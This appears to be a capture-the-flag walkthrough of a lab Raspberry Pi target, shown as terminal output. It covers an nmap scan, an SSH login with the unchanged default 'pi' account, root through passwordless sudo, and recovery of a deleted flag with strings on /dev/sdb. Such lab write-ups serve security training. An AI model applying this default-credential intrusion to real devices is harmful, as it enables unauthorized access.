```
[]$ nmap -Pn -p 1-65535 -T4 -A -v 10.129.78.132

PORT      STATE SERVICE VERSION
22/tcp    open  ssh     OpenSSH 6.7p1 Debian 5+deb8u3 (protocol 2.0)
| ssh-hostkey:
|   1024 aa:ef:5c:e0:8e:86:97:82:47:ff:4a:e5:40:18:90:c5 (DSA)
|   2048 e8:c1:9d:c5:43:ab:fe:61:23:3b:d7:e4:af:9b:74:18 (RSA)
|   256 b6:a0:78:38:d0:c8:10:94:8b:44:b2:ea:a0:17:42:2b (ECDSA)
|_  256 4d:68:40:f7:20:c4:e5:52:80:7a:44:38:b8:a2:a7:52 (ED25519)
53/tcp    open  domain  dnsmasq 2.76
| dns-nsid:
|_  bind.version: dnsmasq-2.76
80/tcp    open  http    lighttpd 1.4.35
| http-methods:
|_  Supported Methods: OPTIONS GET HEAD POST
|_http-server-header: lighttpd/1.4.35
|_http-title: Site doesn't have a title (text/html; charset=UTF-8).
1511/tcp  open  upnp    Platinum UPnP 1.0.5.13 (UPnP/1.0 DLNADOC/1.50)
32400/tcp open  http    Plex Media Server httpd
| http-auth:
| HTTP/1.1 401 Unauthorized\x0D
|_  Server returned status 401 but no WWW-Authenticate header.
|_http-cors: HEAD GET POST PUT DELETE OPTIONS
|_http-favicon: Unknown favicon MD5: 0F584138AACFB79AABA7E2539FC4E642
|_http-title: Unauthorized
32469/tcp open  upnp    Platinum UPnP 1.0.5.13 (UPnP/1.0 DLNADOC/1.50)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel


[ /admin ]$ ssh pi@10.129.78.132
The authenticity of host '10.129.78.132 (10.129.78.132)' can't be established.
ECDSA key fingerprint is SHA256:UkDz3Z1kWt2O5g2GRlullQ3UY/cVIx/oXtiqLPXiXMY.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '10.129.78.132' (ECDSA) to the list of known hosts.
pi@10.129.78.132's password:

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the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

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permitted by applicable law.
Last login: Sun Aug 27 14:47:50 2017 from localhost

SSH is enabled and the default password for the 'pi' user has not been changed.
This is a security risk - please login as the 'pi' user and type 'passwd' to set a
new password.

pi@raspberrypi:~ $ ls
background.jpg  Documents  Music        Pictures  python_games  Videos
Desktop         Downloads  oldconffiles  Public    Templates
pi@raspberrypi:~ $ cd Desktop
pi@raspberrypi:~/Desktop $ ls
Plex  user.txt
pi@raspberrypi:~/Desktop $ cat user.txt
ff837707441b********************

pi@raspberrypi:/ $ ls
```

```
bin   home            lost+found  persistence.conf  sbin  usr
boot  initrd.img      media       proc              srv   var
dev   initrd.img.old  mnt         root              sys   vmlinuz
etc   lib            opt         run               tmp   vmlinuz.old
pi@raspberrypi:/ $ cd root
-bash: cd: root: Permission denied
pi@raspberrypi:/ $ sudo id
uid=0(root) gid=0(root) groups=0(root)
pi@raspberrypi:/ $ sudo -i

SSH is enabled and the default password for the 'pi' user has not been changed.
This is a security risk - please login as the 'pi' user and type 'passwd' to set a
new password.

root@raspberrypi:~# ls
root.txt
root@raspberrypi:~# cat root.txt
I lost my original root.txt! I think I may have a backup on my USB stick...

root@raspberrypi:~# df -h
Filesystem      Size  Used Avail Use% Mounted on
aufs            8.5G  2.8G  5.3G  34% /
tmpfs           100M  4.8M   96M   5% /run
/dev/sda1       1.3G  1.3G     0 100% /lib/live/mount/persistence/sda1
/dev/loop0      1.3G  1.3G     0 100% /lib/live/mount/rootfs/filesystem.squashfs
tmpfs           250M     0  250M   0% /lib/live/mount/overlay
/dev/sda2       8.5G  2.8G  5.3G  34% /lib/live/mount/persistence/sda2
devtmpfs         10M     0   10M   0% /dev
tmpfs           250M  8.0K  250M   1% /dev/shm
tmpfs           5.0M  4.0K  5.0M   1% /run/lock
tmpfs           250M     0  250M   0% /sys/fs/cgroup
tmpfs           250M  8.0K  250M   1% /tmp
/dev/sdb        8.7M   93K  7.9M   2% /media/usbstick
tmpfs            50M     0   50M   0% /run/user/999
tmpfs            50M     0   50M   0% /run/user/1000

root@raspberrypi:~# cd /media/usbstick
root@raspberrypi:/media/usbstick# ls
damnit.txt  lost+found
root@raspberrypi:/media/usbstick# cat damnit.txt
Damnit! Sorry man I accidentally deleted your files off the USB stick.
Do you know if there is any way to get them back?

-James

Running strings command in linux will reveal the lost data from the connected
physical device at /dev/sdb

root@raspberrypi:/media/usbstick# strings /dev/sdb
>r &
/media/usbstick
lost+found
root.txt
damnit.txt
>r &
>r &
/media/usbstick
lost+found
```

root.txt
damnit.txt
>r &
/media/usbstick
2]8^
lost+found
root.txt
damnit.txt
>r &
3d3e483143ff********************
Damnit! Sorry man I accidentally deleted your files off the USB stick.
Do you know if there is any way to get them back?
-James